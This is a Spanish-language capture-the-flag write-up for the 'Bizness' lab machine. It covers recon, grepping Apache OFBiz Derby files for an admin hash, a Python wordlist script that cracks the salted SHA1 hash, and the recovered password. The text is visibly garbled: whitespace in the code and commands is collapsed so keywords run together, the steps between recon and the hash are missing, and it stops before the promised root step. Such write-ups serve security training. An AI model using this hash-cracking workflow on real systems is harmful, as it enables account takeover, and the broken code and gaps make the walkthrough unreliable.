Accedemos a la IP 10.10.11.252 a través del navegador. Está bloqueado de inicio así que añadimos el dominio https://bizness.htb a nuestro /etc/hosts
Parece una web de servicios de tecnología. Es una landing page sin ningún enlace y solamente tiene un formulario que no envía nada, no tiene funcionalidad. Esta web utiliza la versión 1.18.0 de Nginx, por lo que podríamos buscar un exploit público:
Hemos descubierto el password pero para crackearlo necesitamos el SALT. Haciendo research dentro de la máquina, encontramos el siguiente directorio que contiene el SALT:
/opt/ofbiz/runtime/data/derby/ofbiz/seg0
Hay un montón de archivos .dat, por lo que tendremos que aplicar algún filtro para encontrar el hash del administrador, por lo que vamos a aplicar el siguiente filtro:
grep-r-l"admin"*.dat
Enumerando uno a uno los archivos, concontramos el que tiene el hash: c6650.dat
admin$"$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2IYNN
Para crackear este tipo de hash voy a utilizar el siguiente script:
bizness.py
import hashlibimport base64import osfrom tqdm import tqdmclassPasswordEncryptor:def__init__(self,hash_type="SHA",pbkdf2_iterations=10000):""" Initialize the PasswordEncryptor object with a hash type and PBKDF2 iterations. :param hash_type: The hash algorithm to use (default is SHA). :param pbkdf2_iterations: The number of iterations for PBKDF2 (default is 10000). """ self.hash_type = hash_type self.pbkdf2_iterations = pbkdf2_iterationsdefcrypt_bytes(self,salt,value):""" Crypt a password using the specified hash type and salt. :param salt: The salt used in the encryption. :param value: The password value to be encrypted. :return: The encrypted password string. """ifnot salt: salt = base64.urlsafe_b64encode(os.urandom(16)).decode('utf-8') hash_obj = hashlib.new(self.hash_type) hash_obj.update(salt.encode('utf-8')) hash_obj.update(value) hashed_bytes = hash_obj.digest() result =f"${self.hash_type}${salt}${base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')}"return resultdefget_crypted_bytes(self,salt,value):""" Get the encrypted bytes for a password. :param salt: The salt used in the encryption. :param value: The password value to get encrypted bytes for. :return: The encrypted bytes as a string. """try: hash_obj = hashlib.new(self.hash_type) hash_obj.update(salt.encode('utf-8')) hash_obj.update(value) hashed_bytes = hash_obj.digest()return base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')except hashlib.NoSuchAlgorithmException as e:raiseException(f"Error while computing hash of type {self.hash_type}: {e}")# Example usage:hash_type ="SHA1"salt ="d"search ="$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I="wordlist ='/usr/share/wordlists/rockyou.txt'# Create an instance of the PasswordEncryptor classencryptor =PasswordEncryptor(hash_type)# Get the number of lines in the wordlist for the loading bartotal_lines =sum(1for _ inopen(wordlist, 'r', encoding='latin-1'))# Iterate through the wordlist with a loading bar and check for a matching passwordwithopen(wordlist, 'r', encoding='latin-1')as password_list:for password intqdm(password_list, total=total_lines, desc="Processing"): value = password.strip()# Get the encrypted password hashed_password = encryptor.crypt_bytes(salt, value.encode('utf-8'))# Compare with the search hashif hashed_password == search:print(f'Found Password:{value}, hash:{hashed_password}')break# Stop the loop if a match is found
Conseguimos desencriptar la contraseña!
monkeybizness
Ahora para cambiar al usuario root sería tan simple como lo siguiente: